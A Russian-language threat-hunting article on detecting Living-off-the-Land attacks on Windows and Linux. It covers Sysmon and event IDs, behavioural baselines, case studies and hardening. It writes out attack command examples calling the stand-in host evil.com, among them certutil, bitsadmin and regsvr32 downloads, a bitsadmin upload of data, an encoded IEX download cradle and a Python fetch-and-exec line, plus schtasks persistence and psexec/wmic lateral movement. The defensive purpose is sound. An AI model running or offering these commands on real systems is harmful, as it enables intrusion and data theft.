Статья Threat Hunting: Как обнаружить атаки Living-off-the-Land

Помнишь старые добрые времена, когда антивирус находил вирус по подписи, ты радостно чистил комп и шёл пить чай? Времена, когда хакеры таскали с собой экзешники с именами типа hack.exe и их можно было заблочить одной сигнатурой? Забудь. Эти времена кончились, когда школьники поняли, что проще использовать то, что уже лежит в системе.

Сейчас на сцене правит балом совсем другая история. Хакеру не нужно тащить свои инструменты. Зачем светиться, если в каждой винде уже лежит PowerShell, WMI, PsExec, Certutil и десятки других утилит, которые делают ровно то же самое? Они подписаны Microsoft, они доверенные, они есть в белых списках. Бери - не хочу.

Это называется Living-off-the-Land (LotL) - жизнь с земли, за чужой счёт. Хакеры не приносят своё, они жрут твоё. И классическая сигнатурная защита тут бессильна, потому что не на что ставить сигнатуру. PowerShell он и есть PowerShell. Как отличить легитимный скрипт админа от атаки? А никак, если смотреть только на имя файла.

По данным SANS 2025 Threat Hunting Survey, LotL стал главной тактикой государственных хакеров - три четверти атак используют именно эту технику. Почти половина рэнсомвайр-инцидентов и промышленного шпионажа тоже строятся на легитимных инструментах. Агентства CISA, NSA, FBI и британский NCSC в совместном руководстве от февраля 2024 года прямо указали: Living-off-the-Land - это новая норма, и защищаться от неё нужно совсем иначе.

Сигнатурщики умерли. На смену им приходит охота. Не детект, а именно охота - когда ты не ждёшь уведомления, а сам идёшь в лес и выслеживаешь зверя по следам. В этой статье мы разберём, как находить тех, кто живёт в твоей сети на твоей же кормовой базе, не светясь и не оставляя файлов. Приготовься, будет много техники, логов и боли. Потому что только через боль приходит понимание.

---

Что такое LotL и с чем его едят​

LotL - это не новая хакерская группировка и не название свежего эксплойта. Это концепция: злоумышленник использует штатные средства операционной системы для выполнения вредоносных действий. Никаких подозрительных бинарников, никаких левых DLL - только то, что уже установлено и разрешено. Это как если бы грабитель залез к тебе в дом и пользовался твоей же посудой, чтобы есть твою же еду. Ты и не заметишь, пока ложка не пропадёт.

В терминах MITRE ATT&CK это целое семейство техник:

• T1059 - Command and Scripting Interpreter (PowerShell, VBScript, JavaScript)
• T1047 - Windows Management Instrumentation (WMI)
• T1563 - Remote Service Session Hijacking (PsExec, WinRM)
• T1105 - Ingress Tool Transfer (Certutil, BITSAdmin)
• T1218 - Signed Binary Proxy Execution (Mshta, Rundll32, Regsvr32)
• T1127 - Trusted Developer Utilities (Msbuild, Csc)

Список можно продолжать бесконечно. Эти утилиты называют LOLBins (Living-off-the-Land Binaries) - программы, которые можно использовать как во благо, так и во зло. Microsoft сама создала идеальную экосистему для хакеров, добавив в систему мощные средства автоматизации и удалённого управления. И теперь мы имеем то, что имеем.

Примеры из реальной жизни, которые должен знать каждый охотник:

PowerShell - король LotL. Умеет скачивать пэйлоады через WebClient, выполнять код в памяти, обходить AMSI, загружать сборки .NET, работать с WMI, планировщиком, реестром. Если хакеру дали PowerShell, ему больше ничего не надо.

WMI - тихий убийца. Позволяет удалённо выполнять команды, собирать информацию, устанавливать персистенс через подписки на события. Никаких файлов, только запросы к CIM-репозиторию.

PsExec - легитимная утилита от Sysinternals для удалённого выполнения команд. Хакеры её обожают, потому что она подписана Microsoft и есть во многих сетях для администрирования.

Certutil - утилита для работы с сертификатами. Но мало кто знает, что она умеет скачивать файлы с интернета. Просто certutil -urlcache -f [URL]http://evil.com/payload.exe[/URL] payload.exe - и готово.

BITSAdmin - компонент для фоновой передачи файлов. Работает через BITS (Background Intelligent Transfer Service), который специально создан, чтобы не мешать пользователю и работать в фоне. Идеально для скрытного вывода данных.

Mshta.exe - запускает HTML-приложения. Внутри может быть JavaScript или VBScript, который запускает PowerShell. Классическая цепочка mshta → powershell.

Rundll32 - запускает DLL. Может загрузить DLL с удалённого сервера и выполнить экспортированную функцию. Например, rundll32.exe javascript:"..\mshtml,RunHTMLApplication".

Regsvr32 - регистрирует COM-объекты, но может скачать и выполнить скрипт через scrobj.dll.

Wscript / Cscript - выполняют VBScript и JScript. До сих пор живы и используются.

Schtasks - планировщик задач. Позволяет запускать программы по расписанию или при наступлении событий. Любимый инструмент для персистенса.

И главная фишка: всё это подписано Microsoft, всё это есть в любой винде, и всё это не вызывает подозрений у системы. Если антивирус не видит ничего, кроме легитимного процесса, он молчит. А хакер тем временем делает своё чёрное дело.

---

Почему LotL не видит даже дорогой EDR​

Ты купил крутой EDR за миллион, настроил, отчитался перед начальством. И думаешь, что ты под защитой. Нет. EDR видит то, на что настроен смотреть. А LotL-атаки специально созданы, чтобы выглядеть как нормальная активность админа.

Проблема в доверии к подписанным бинарникам. Когда процесс mshta.exe запускает PowerShell, EDR смотрит: mshta.exe - подписан Microsoft, PowerShell - подписан Microsoft. Два легитимных процесса. Где тут зло? А то, что внутри mshta выполняется JavaScript, который передаёт PowerShell закодированную команду, - это уже детали, которые надо вылавливать поведенческим анализом.

Сигнатуры тут не работают по определению. Нельзя поставить сигнатуру на PowerShell, потому что PowerShell нужен админам. Нельзя запретить mshta, потому что его использует куча легитимного софта. Остаётся только одно: смотреть не на «что», а на «как».

Исследователи из DOAJ в 2025 году опубликовали работу, где показали: традиционные методы детекта на основе правил дают высокий уровень ложных срабатываний. Их система LOTLDetector, основанная на глубоком обучении, показала точность 97% на Linux и 95% на Windows - это на 8% выше лучших существующих методов. Но даже это не панацея.

Почему EDR пасует:

• Отсутствие контекста. EDR видит процесс, но не знает, кто его запустил и зачем. Если админ запускает PowerShell для легитимных задач, а хакер - для вредоносных, визуально это одно и то же.
• Проблема «белого шума». В большой сети тысячи процессов в минуту. Выделить среди них аномалию - задача нетривиальная.
• Обфускация. Хакеры научились обфусцировать команды так, что они выглядят как мусор. PowerShell может принимать Base64, сжатые строки, вызвать код через reflection.
• Жизнь в памяти. Многие LotL-атаки вообще не касаются диска. Код грузится прямо в память легитимного процесса и выполняется там. EDR, который не смотрит в память, этого не увидит.

В совместном руководстве CISA, NSA, FBI и NCSC сказано прямо: злоумышленники используют LotL, чтобы избежать обнаружения, и полагаются на то, что их активность сольётся с обычной работой системы.

Раз сигнатуры не работают, а EDR не панацея, что делать? Менять подход. Перестать искать «зло» и начать искать «необычное». Потому что зло - это понятие оценочное, а необычное - это аномалия, которую можно измерить.

Все просто: если ты не знаешь, как выглядит норма в твоей сети, ты никогда не найдёшь аномалию. Нужна база знаний нормального поведения (baseline). Что обычно делает PowerShell на серверах баз данных? А на рабочих станциях бухгалтерии? В какое время суток запускаются задачи админов? Какие аргументы команд типичны для твоей среды?

Агентства CISA, NSA, FBI и британский NCSC в совместном руководстве от февраля 2024 года чётко указали: нужно устанавливать и постоянно поддерживать базовые линии поведения, а затем сравнивать текущую активность с ними и оповещать об аномалиях.

Как это выглядит на практике:

• PowerShell на сервере 1С запускается только в рабочие часы и только определёнными админами. Если PowerShell полез ночью - повод насторожиться.
• Certutil используется только на машинах админов для загрузки ISO-образов. Если certutil запустился на бухгалтерской машине и качает экзешник - это почти 100% атака.
• Mshta.exe обычно не запускает дочерние процессы. Если mshta породил PowerShell - это классическая LotL-цепочка, которую надо проверять.
• WMI-запросы к удалённым машинам обычно идут с серверов управления. Если рабочая станция бухгалтера вдруг начала слать WMI-запросы на контроллер домена - это красный флаг.

Задача охотника - не ждать, когда система скажет «здесь вирус», а самому ходить по логам и искать отклонения от нормы. Проактивный подход, а не реактивный.

---

Инструментарий​

Для охоты нужно оружие. Просто смотреть логи глазами - дохлый номер, их слишком много. Нужны правильные инструменты, настроенные на правильные события. Вот арсенал, без которого охотник не охотник.

Sysmon - база, без которой никуда
Sysmon от Марка Русиновича - это must have для любой винды. Он даёт телеметрию, которую стандартные логи не дают. Системные администраторы часто его не ставят, потому что «сложно», но для охоты он незаменим.

Какие события включать обязательно:

• Event ID 1 - Process Creation. Смотреть не просто факт, а командную строку целиком. Без командной строки охотиться бессмысленно.
• Event ID 3 - Network Connection. Кто куда стучится. Особенно обращать внимание на процессы, которые обычно не имеют сетевой активности.
• Event ID 11 - File Creation. Создание файлов. Особенно в подозрительных папках типа Temp, AppData, Recycle Bin.
• Event ID 7 - Image Loaded. Загрузка DLL. Помогает обнаружить инжекты, когда легитимный процесс загружает подозрительную библиотеку.
• Event ID 8 - CreateRemoteThread. Обнаружение внедрения кода в другой процесс.
• Event ID 15 - FileCreateStreamHash. Альтернативные потоки данных NTFS - классический способ спрятать файл.

Настройка Sysmon - это отдельное искусство. Готовые конфиги можно взять у SwiftOnSecurity или Olaf Hartong. Но лучше собрать свой под конкретную среду.

Windows Event Logs - то, что есть по умолчанию
Даже без Sysmon можно многое вытащить из стандартных логов. Главное - включить логирование на максимум.

Ключевые Event ID:

• Event ID 4688 - Process Creation. Должен быть включён с командной строкой через аудит процессов.
• Event ID 4104 - PowerShell ScriptBlock Logging. Логирует сам скрипт PowerShell до обфускации. Бесценно.
• Event ID 4103 - PowerShell Module Logging. Логирует вызовы командлетов и функций.
• Event ID 5156 - Windows Filtering Platform. Сетевые соединения, разрешённые фаерволом.
• Event ID 4698 - Scheduled Task Creation. Создание задач в планировщике.
• Event ID 4699 - Scheduled Task Deletion. Удаление задач.
• Event ID 4702 - Scheduled Task Updated. Изменение задач.
• Event ID 5861 - WMI Activity. Логирование изменений в WMI.
• Event ID 5858 - WMI Errors. Ошибки WMI, которые могут указывать на попытки выполнения.
• Event ID 4624 - Logon Success. Успешные логины, особенно удалённые.
• Event ID 4648 - Logon with Explicit Credentials. Использование других учётных данных.

Google Security Operations в своей документации прямо указывает: для детекта LotL нужны как минимум поля с Process Name, Process Command Line, Parent Process, User ID. Без них охота слепа.

Osquery - живой поиск по системе
Если надо быстро проверить подозрительную машину - osquery позволяет делать SQL-запросы к живой системе. Полезно для ad-hoc расследований. Например:

SELECT * FROM processes WHERE name = 'powershell.exe' AND cmdline LIKE '%EncodedCommand%';

Или поиск подозрительных сетевых соединений:

SELECT * FROM process_open_sockets WHERE remote_port IN (80,443,53) AND local_port NOT IN (80,443);
SIEM с корреляцией
Собирать логи отовсюду в одну кучу - это база. Elastic, Splunk, Sentinel, QRadar - не важно что. Важно, чтобы можно было строить запросы типа «покажи мне все случаи, когда mshta.exe запускал powershell.exe за последние 30 дней» и получать результат за секунды.

Elastic Stack (ELK) - бесплатный и мощный. Splunk - дорогой, но удобный. Azure Sentinel - облачный и с KQL. Выбирай по карману.

YARA для памяти
LotL-атаки часто живут в памяти без файлов. YARA-правила, которые сканируют память процессов на наличие известных паттернов, могут найти инжекты в легитимные процессы. Инструменты типа Rekall или Volatility помогают дампить память и сканировать её YARA.

Threat Intelligence
Списки известных LOLBins и тактик APT-групп - хорошая подкормка для правил корреляции. Если какая-то группировка известна использованием конкретных утилит (например, APT29 любит PowerShell и WMI), можно поискать их активность у себя.

Полезные источники:

• LOLBAS Project - каталог LOLBins для Windows.
• GTFOBins - аналогично для Linux.
• MITRE ATT&CK - тактики и техники.
• Threat Intelligence feeds от ANSSI, CISA, NCSC.

---

Теперь самое мясо. Как именно хакеры используют твои же инструменты и какие следы оставляют. Разберём каждую технику с примерами и методами обнаружения.

PowerShell без логов

Классика жанра. PowerShell умеет выполнять код без сохранения на диск, прямо в памяти. Один из излюбленных приёмов - закодированная команда (EncodedCommand). Вместо понятного скрипта передаётся Base64-строка, которую PowerShell декодирует и выполняет.

Пример:

powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAnACkA
Этот код декодируется в IEX (New-Object Net.WebClient).DownloadString('

Ссылка скрыта от гостей

').

Что оставляет следы:

• Event ID 4104 - PowerShell ScriptBlock Logging - если включён, пишет сам скрипт до обфускации. То есть в логе будет видно декодированную команду.
• Event ID 4688 - Process Creation - видно запуск powershell.exe с аргументом -EncodedCommand. Даже если сама команда закодирована, факт запуска с этим флагом подозрителен.
• Event ID 3 - Network Connection - если скрипт скачивает что-то с интернета, будет видно соединение.

Что не оставляет:

• Если скрипт грузится прямо в память и выполняется без касания диска - файловых артефактов нет.
• Если использовать обход AMSI (Anti-Malware Scan Interface) - PowerShell может не логироваться.

Как хакеры обходят логирование:

• Обфускация команд. Вместо прямого вызова используют переменные, подстановки, конкатенацию.
• Вызов через .NET Reflection. Загружают сборки и вызывают методы напрямую, минуя командлеты.
• Отключение логирования. Пытаются выключить ScriptBlock Logging через реестр (но нужны права админа).
• Использование PowerShell в Constrained Language Mode - ограничивает возможности, но некоторые хакеры находят обходы.

Охотник должен смотреть не только на факт запуска PowerShell, но и на то, что он делает. Если PowerShell запускается без видимой причины, стучится наружу, грузит скрипты - это красный флаг.

WMI как оружие

Windows Management Instrumentation - это такая мощная штука, которую админы почти не используют, а хакеры обожают. Через WMI можно удалённо выполнять команды, собирать информацию, устанавливать персистенс.

Примеры использования в атаках:

• WMI Event Subscription - создание подписки на события. Например, при запуске определённого процесса выполнять скрипт. Это работает даже после перезагрузки.
• Удалённое выполнение - через wmic /node:target process call create "cmd /c whoami".
• Сбор информации - запросы к классам Win32_Process, Win32_UserAccount, Win32_NetworkAdapter.

Где искать следы:

• Event ID 5861 - WMI Activity - логирование изменений в WMI. Содержит информацию о создании фильтров, подписок, потребителей.
• Event ID 5858 - WMI Errors - ошибки могут указать на попытки выполнения, если хакер что-то напутал.
• Event ID 4698 - если через WMI создаётся задача в планировщике, это тоже может логироваться.
• Event ID 4662 - доступ к объектам WMI.

Важно: по умолчанию WMI логирование выключено. Его надо включать через аудит доступа к объектам WMI. Без этого охотник слеп к WMI-атакам.

Пример подозрительной WMI-активности:

• Создание фильтра, который срабатывает при старте системы.
• Создание потребителя, который запускает PowerShell.
• Массовые WMI-запросы с одной машины на множество других.

LOLBins в деталях

Список легитимных утилит, которые используются для атак, огромен. Вот подробный разбор каждого с примерами детекта.

Certutil
Утилита для работы с сертификатами, но умеет скачивать файлы.

Пример:

certutil -urlcache -f http://evil.com/payload.exe C:\Windows\Temp\payload.exe
certutil -decode hidden.b64 payload.exe

Как обнаружить:

• Process Creation с аргументами -urlcache, -f, -split.
• Создание файлов в необычных местах (Temp, Users\Public).
• Сетевые соединения на порты 80/443.

BITSAdmin
Фоновая передача файлов. Работает через BITS, не светится в обычных логах загрузок.

Пример:

bitsadmin /transfer job /download /priority high http://evil.com/payload.exe C:\Windows\Temp\payload.exe
Как обнаружить:

• Event ID 3 от процесса bitsadmin.exe.
• BITS-задачи можно посмотреть через PowerShell: Get-BitsTransfer.
• События BITS в журнале Microsoft-Windows-Bits-Client/Operational.

Mshta.exe
Запускает HTML-приложения. Часто используется для запуска PowerShell.

Пример:

mshta.exe javascript:"var a=new ActiveXObject('WScript.Shell');a.Run('powershell -EncodedCommand ...');close()";
Как обнаружить:

• Process Creation: mshta.exe порождает powershell.exe.
• Mshta запускается с подозрительными аргументами, содержащими javascript или vbscript.
• Mshta стучится наружу.

Rundll32
Запускает DLL. Может загрузить DLL с удалённого сервера.

Пример:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";alert('test');
rundll32.exe url.dll,OpenURL http://evil.com/payload.hta

Как обнаружить:

• Rundll32 с необычными аргументами, содержащими javascript, vbscript, или URL.
• Rundll32 порождает дочерние процессы.
• Загрузка DLL через сеть.

Regsvr32
Регистрирует COM-объекты, но может выполнить скрипт.

Пример:

regsvr32.exe /s /n /u /i:http://evil.com/script.sct scrobj.dll
Как обнаружить:

• Regsvr32 с аргументом /i, указывающим на URL.
• Regsvr32 стучится наружу.
• Создание временных файлов.

Wscript / Cscript
Выполняют VBScript и JScript. Старые, но ещё живые.

Пример:

cscript.exe //nologo evil.vbs
wscript.exe evil.vbs

Как обнаружить:

• Запуск скриптов из необычных мест (Temp, Users\Public).
• Скрипты, содержащие подозрительные функции (CreateObject, Shell, Run).

Schtasks
Планировщик задач. Используется для персистенса.

Пример:

schtasks /create /tn "Updater" /tr "powershell -EncodedCommand ..." /sc onlogon /ru SYSTEM
Как обнаружить:

• Event ID 4698 - создание задачи.
• Анализ запланированных задач на подозрительные имена и команды.
• Задачи, запускающиеся от SYSTEM с необычными триггерами.

Передвижение по сети

После того как хакер зашёл на одну машину, ему нужно распространиться дальше. Тут в ход идут штатные средства удалённого управления.

PsExec
Утилита от Sysinternals для удалённого выполнения команд.

Пример:

psexec \\target -s cmd.exe /c whoami
Как обнаружить:

• Создание и остановка сервиса PSEXESVC на целевой машине (Event ID 7045, 7036).
• Process Creation с PsExec.
• Сетевые соединения на порт 445 (SMB) и динамические порты.

WinRM
Встроенная служба удалённого управления.

Пример:

winrm invoke create wmicimv2/Win32_Process @{CommandLine="powershell ..."}
Как обнаружить:

• Event ID 91 (WinRM), 168, 169.
• Сетевые соединения на порт 5985 (HTTP) или 5986 (HTTPS).
• PowerShell с сессиями WinRM.

Schtasks удалённо
Создание задач на удалённой машине.

Пример:

schtasks /create /s target /tn "Task" /tr "powershell ..." /ru SYSTEM
Как обнаружить:

• Event ID 4698 на целевой машине.
• Сетевые соединения для RPC.

WMI удалённо
Через WMI можно выполнять команды удалённо.

Пример:

wmic /node:target process call create "powershell ..."
Как обнаружить:

• Event ID 5861 с указанием удалённого узла.
• Сетевые соединения для RPC.
• Логи доступа к WMI.

Кража данных через легитимные каналы

Когда данные надо вытащить наружу, хакеры тоже используют штатные средства.

DNS-туннелирование
Данные кодируются в DNS-запросах. Клиент шлёт запросы типа

Ссылка скрыта от гостей

,

Ссылка скрыта от гостей

и т.д.

Как обнаружить:

• Аномально длинные имена поддоменов (более 30 символов).
• Частые запросы к одному домену от одной машины.
• Необычные типы запросов (TXT, NULL).

HTTP через BITS
BITSAdmin может загружать данные на сервер.

Пример:

bitsadmin /transfer job /upload /priority high C:\data.zip http://evil.com/upload
Как обнаружить:

• BITS-задачи на upload.
• Сетевые соединения от BITS на нестандартные URL.

Облачные API
Хакеры используют легитимные API облачных хранилищ (Google Drive, Dropbox, OneDrive) для вывода данных.

Как обнаружить:

• Сетевые соединения к API облачных сервисов.
• Использование легитимных клиентов (rclone, gdrive) в необычном контексте.

Жизнь в памяти без файлов

Самый страшный сон охотника - процесс, у которого нет родителя и нет бинарника на диске. Такое бывает при инжекте кода в легитимный процесс.

Как обнаружить:

• Анализ родительских процессов. Если процесс без родителя (или родитель умер), это подозрительно.
• Просмотр загруженных DLL. Если в легитимный процесс загружена подозрительная DLL - инжект.
• Сетевые соединения. Легитимный процесс, который никогда не имел сетевой активности, вдруг начал стучаться наружу.
• Инструменты для дампа памяти. Volatility с плагинами malfind, hollowfind обнаруживают инжекты.

---

​

Поведенческий анализ - где копать, чтобы найти​

Переходим от теории к практике.

Цепочки процессов (process trees)

Это самое важное. Не просто факт запуска PowerShell, а кто его запустил. Нормально ли, что Microsoft Word запускает PowerShell? А Excel? А Outlook? Если да - у тебя серьёзные проблемы с макросами.

Типичные подозрительные цепочки, которые должен знать каждый охотник:

1. Mshta.exe → powershell.exe - классика. Mshta редко нужна для нормальной работы.
2. Microsoft Word → cmd.exe → powershell.exe - макросы.
3. Excel → powershell.exe - то же самое.
4. Outlook → powershell.exe - фишинг с вложением.
5. Rundll32.exe → powershell.exe - выполнение скрипта через rundll32.
6. Regsvr32.exe → (сетевые соединения) - может скачивать скрипты.
7. Explorer.exe запускает что-то из Temp - пользователь что-то скачал и запустил.
8. WinWord.exe запускает cmd.exe - почти всегда вредонос.

Любая цепочка, где офисное приложение порождает командную строку, - повод для проверки. Исключение - если у вас действительно есть макросы для автоматизации, но тогда они должны быть единичными и известными.

Сетевые соединения

Почему svchost.exe (системный процесс) стучится на IP в другой стране? Почему PowerShell коннектится наружу, хотя обычно сидит локально? Почему процесс без сетевой активности вдруг начал слать пакеты?

Что смотреть:

• Процессы, которые обычно не имеют сетевой активности: notepad.exe, winword.exe, excel.exe и т.д. Если они вдруг полезли в интернет - это почти всегда атака.
• Соединения на нестандартные порты: если PowerShell стучится на порт 8080, 4444, 1337 - это подозрительно.
• Соединения в нерабочее время: админы обычно админят днём, хакеры - ночью.
• География IP: если твой сервер в Москве коннектится к IP в Китае в 3 часа ночи - это не легитимная активность.

Временные паттерны

Хакеры любят автоматизацию. Скрипты часто запускаются в одно и то же время (например, каждый день в 3 часа ночи). Если ты видишь повторяющуюся активность в нерабочее время, а соответствующей задачи в планировщике нет - это аномалия.

Особенно обращать внимание на:

• Массовый запуск процессов на серверах в одно и то же время.
• Подозрительная активность перед уходом ключевого админа в отпуск.
• Активность во время праздников, когда офис пуст.

География

Логины из стран, где у тебя нет сотрудников. Не надо быть параноиком, но если твой сервер вдруг заадминят из Нигерии - это повод. Современные EDR и SIEM умеют обогащать события геоданными. Используй это.

Аномальные комбинации

Использование редких аргументов команд, запуск из необычных папок.

Красные флаги:

• PowerShell, запущенный из C:\Users\Public.
• PowerShell из C:\Windows\Temp.
• PowerShell из корзины (Recycle Bin) - такое вообще не должно встречаться.
• Команды с длинными строками Base64.
• Использование редких аргументов типа -EncodedCommand, -WindowStyle Hidden.
• Процессы, запущенные от имени SYSTEM, но с необычными командными строками.

---

Создание базы нормального поведения (baseline)​

Как понять, что нормально, а что нет? Только через сбор статистики. Без базовой линии ты будешь тонуть в ложных срабатываниях или пропускать реальные атаки.

Сбор данных за длительный период

Нужно логировать всё несколько месяцев, чтобы увидеть паттерны. Без истории ты слеп. CISA рекомендует хранить логи в изолированном месте (например, в S3 с ограниченным доступом), чтобы хакеры не могли их подчистить после взлома.

Что собирать:

• Все процессы с командными строками.
• Все сетевые соединения.
• Все события WMI.
• Все задачи планировщика.
• Все логины и сессии.

Исключение известных административных действий

Собрать информацию о том, кто, когда и с каких машин админит. Это можно сделать через анализ логов или просто опросив админов. Создать список «легитимной активности»:

• Админ Вася каждый вторник в 10 утра запускает PowerShell на серверах.
• Админ Петя раз в месяц в пятницу вечером обновляет софт.
• Система мониторинга каждые 5 минут опрашивает сервера через WMI.

Если активность совпадает с этим списком - это норма. Если нет - аномалия.

Типовые паттерны для разных групп хостов

Серверы баз данных, веб-серверы, рабочие станции бухгалтеров, терминалы - у них разное поведение. Нельзя сравнивать сервер с рабочей станцией.

Примеры:

• На сервере баз данных PowerShell запускается редко и только админами. На рабочей станции бухгалтера PowerShell не должен запускаться вообще.
• На веб-сервере могут быть свои скрипты для деплоя. На контроллере домена - свои.
• Терминальные серверы - там активность пользователей хаотична, но можно выделить рабочие часы.

Группируй хосты по функциям и строй baseline для каждой группы отдельно.

Построение модели «нормы»

Можно автоматизировать. Системы типа Vectra, Darktrace, ExtraHop используют машинное обучение для создания базовых линий. Они смотрят на поведение аккаунтов, хостов, сервисов и сигнализируют, когда что-то выбивается.

Если бюджета на ML нет, можно делать вручную через статистические методы: среднее количество процессов в день, типичные часы активности, типичные родительские процессы.

Обновление базы

Инфраструктура меняется, норма меняется. То, что было аномалией в прошлом году, сейчас стало нормой. Базу надо пересматривать регулярно (хотя бы раз в квартал) и при каждом крупном изменении.

---

Охота на Linux​

Мы всё говорим про Windows, но Linux тоже живёт и страдает от LotL. Там свои LOLBins, свои техники, свои логи.

Популярные LOLBins в Linux:

• Bash - очевидно.
• Python/Perl/Ruby - интерпретаторы, которые есть почти везде.
• Curl/Wget - скачивание пэйлоадов.
• Netcat/Socat - сетевые соединения, реверс-шеллы.
• Systemd - создание сервисов для персистенса.
• Cron - задачи по расписанию.
• Ssh - туннелирование, удалённый доступ.
• Scp/Rsync - передача файлов.
• Gcc/Make - компиляция на лету.
• Awk/Sed - обработка данных, могут быть использованы для скрытого выполнения.

Что логировать в Linux:

• Auditd - главный источник логов. Включить аудит процессов (execve), сетевых соединений, доступа к файлам.
• Syslog/Journald - логи системы.
• Bash history - но хакеры его чистят.
• SELinux/AppArmor - логи нарушений политик.
• Netflow - сетевые соединения.

Что искать:

• Bash, запущенный не из терминала (например, через веб-шелл).
• Curl/Wget, скачивающие файлы в /tmp или /dev/shm.
• Необычные cron-задачи от пользователей.
• Системные сервисы, созданные не через пакетный менеджер.
• Процессы с подозрительными сетевыми соединениями.
• Использование интерпретаторов для выполнения кода из памяти.

Пример: атака через Python без файлов.

python -c "import urllib; exec(urllib.urlopen('http://evil.com/payload').read())"

В логах auditd это будет выглядеть как процесс python с длинной командной строкой.

---

Реальные кейсы​

Теория теорией, но без живых примеров не въехать.

Кейс с PowerShell-даунлоадером (Amadey)

В 2025 году специалисты Lumu разбирали многоступенчатую атаку с использованием PowerShell и HTA. Всё началось с фишингового письма, которое содержало ссылку на HTA-файл. Когда пользователь кликал, mshta.exe скачивал и запускал HTA, внутри которого был JavaScript, запускающий PowerShell.

PowerShell-скрипт содержал 60+ фрагментов Base64, которые собирались воедино и выполнялись через Invoke-Expression. После декодирования PowerShell генерировал случайную строку и стучался на C2-сервер по URL вида https://microservice-update-v2-bucket-s[random].cc/standalone-bucket/[random]. C2 отдавал следующий этап пэйлоада.

Как нашли?

• Аналитики заметили аномальные запросы к редкому домену из процесса mshta.exe.
• Проверили цепочку процессов: mshta → powershell.
• В логах PowerShell (Event ID 4104) увидели закодированный скрипт.
• Расшифровали и поняли логику.

Урок: без логирования PowerShell и мониторинга цепочек процессов эта атака осталась бы незамеченной.

Кейс с WMI-персистенсом

В одной крупной компании админы заметили, что некоторые рабочие станции периодически стучатся на странные IP. Аномалия была небольшой - несколько килобайт в день, но регулярно.

Полезли в логи, нашли подписку WMI (Event ID 5861), которая активировалась при входе пользователя. Подписка запускала PowerShell-скрипт, скачанный месяц назад через certutil. Скрипт собирал данные о системе, пароли из браузера и отправлял на C2 через DNS-туннелирование.

Почему не нашли раньше?

• WMI-логи были включены только на критичных серверах, а рабочие станции не логировали WMI.
• Скрипт жил в памяти, не касаясь диска.
• Трафик был замаскирован под DNS.

Пришлось включать WMI-логирование везде и анализировать DNS-запросы.

Кейс с PsExec-распространением

На серверах в нерабочее время массово запускались процессы. Логи показали, что сначала на один сервер зашли через RDP (с украденными учетками), потом оттуда через PsExec разнесли всё по сети. Админы в это время спали.

Что заметили:

• Внезапные логины через RDP в 3 часа ночи.
• Создание сервиса PSEXESVC на десятках машин.
• Процессы, запущенные от имени SYSTEM, но с подозрительными командами.
• Всё это происходило синхронно, по времени - явно автоматизированная атака.

Урок: мониторинг логинов в нерабочее время и создание новых сервисов - must have.

Кейс с DNS-туннелированием

Аналитики заметили, что один внутренний сервер шлёт тысячи DNS-запросов к домену, который никто не знает. В каждом запросе поддомен был длиной под 50 символов. Расшифровали - оказалось, данные кредиток утекают.

Как нашли:

• Анализ DNS-логов показал аномальный объём запросов от одного источника.
• Поддомены содержали только hex-символы и были слишком длинными.
• Заблокировали домен, начали расследование.

Урок: DNS-логи - это важно. Без них такую атаку не найти.

Всё хорошо, но есть нюанс: автоматика не видит сложных цепочек. EDR может пропустить атаку, которая длится месяц и собирается по крупицам. Тут нужен живой аналитик.

Когда нужно лезть руками

• Когда нет готового правила корреляции.
• Когда атака маскируется под легитимную активность и автоматика даёт ложные срабатывания.
• Когда нужно копать глубоко в историю (полгода назад).
• Когда расследуешь инцидент и надо понять, что было до того, как сработала сигналка.
• Когда атака использует новые, неизвестные методы.

Методики ручного анализа

1. Поиск по логам за длительный период. В Elastic или Splunk можно сделать запрос за полгода и посмотреть, не было ли похожей активности раньше. Часто атаки длятся месяцами до обнаружения.
2. Корреляция разрозненных событий из разных источников. Например, событие WMI на одной машине может коррелировать с сетевым соединением на другой. Вручную связать их сложно, но можно.
3. Построение цепочек событий вручную. Взять подозрительный процесс, посмотреть его родителя, потом родителя родителя, и так до истока. Часто так находятся бэкдоры.
4. Анализ временных рядов. Построить график активности процесса. Если он запускается строго раз в день в одно и то же время, а соответствующей задачи нет - это подозрительно.
5. Анализ аномалий в сетевом трафике. Если автоматика не сигналит, но аналитик подозревает неладное, можно руками посмотреть netflow на предмет необычных соединений.

Как сказано в руководстве CISA, из-за небольшого объёма вредоносной активности в огромных логах сложно отличить зло от нормы. Но поведение хакеров отличается от поведения обычных пользователей: они прячутся, они используют необычные аргументы команд, они качают файлы из подозрительных мест.

---

​

Защита от LotL - можно ли вообще заткнуть эти дыры​

Полностью защититься от LotL нельзя. Нельзя запретить PowerShell, не сломав бизнес. Но снизить риск можно. Вот комплекс мер, которые реально работают.

AppLocker / WDAC (Windows Defender Application Control)

Белые списки разрешённого софта. Это база. Настроить так, чтобы выполнение было разрешено только из Program Files и System32, а из Temp и пользовательских папок - запрещено. Это отсечёт большинство скриптов, которые хакеры скачивают и запускают.

Важно: AppLocker нужно настраивать аккуратно, чтобы не заблокировать легитимные приложения. Тестировать на пилоте, потом раскатывать.

Ограничение PowerShell

PowerShell - главное оружие. Его надо ограничивать:

• Включить Constrained Language Mode - ограничивает возможности PowerShell (запрещает вызовы Win32 API, работу с COM-объектами).
• Включить ScriptBlock Logging и Transcription Logging.
• Выключить WinRM на машинах, где он не нужен.
• Заблокировать PowerShell на пользовательских машинах, если админы там не работают.
• Использовать Just Enough Administration (JEA) - ограничивает, что может делать пользователь через PowerShell.

Минимизация прав

Чем меньше прав у пользователей, тем сложнее хакеру.

• Убрать локальных админов. Пользователи не должны иметь локальные административные права.
• Использовать LAPS для управления паролями локальных админов.
• Ограничить WMI удалённо через DCOM-настройки.
• Заблокировать PsExec через фаервол - он редко нужен в современных сетях.
• Отключить ненужные службы: Windows Script Host, если не используется.

Логирование и мониторинг

Включить всё, что можно включить:

• Процессы с командной строкой.
• Подписки WMI.
• Создание задач в планировщике.
• PowerShell-логи.
• Сетевые соединения.
• DNS-запросы.

И централизованно собирать в SIEM, где хранить хотя бы полгода. Без логов ты слеп.

Обучение админов

Админы должны знать, как выглядят их действия. Чтобы могли сказать: «Я вчера в 3 ночи не работал, это не я». И чтобы сообщали, если видят что-то необычное.

